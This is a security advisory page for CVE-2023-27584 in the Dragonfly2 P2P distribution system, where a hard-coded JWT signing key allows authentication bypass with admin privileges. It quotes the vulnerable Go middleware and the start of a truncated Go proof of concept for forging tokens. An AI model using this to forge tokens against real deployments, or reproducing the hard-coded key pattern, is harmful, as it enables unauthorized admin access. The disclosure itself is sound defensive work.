EUVD-2026-188493

fkie_cve-2023-27584

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

GHSA-hpc8-7wpm-889w — Dragonfly2 has hard coded cyptographic key

Affected: Go: d7y.io/dragonfly/v2

### Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

### Details Dragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey,

IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c)

id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil }

c.Set("id", id) return id }) ```

### PoC Use code below to generate a jwt token ```go package main

import ( "errors" "fmt" "time"

"github.com/golang-jwt/jwt/v4" )

func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil }

type DragonflyTokenClaims struct { Id int32 `json:"id,omitempty"` ExpiresAt int64 `json:"exp,omitempty"` Issue int64 `json:"orig_iat,omitempty"` }

func main() {…

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EUVD-2026-188493

fkie_cve-2023-27584

GHSA-hpc8-7wpm-889w — Dragonfly2 has hard coded cyptographic key

gsd-2023-27584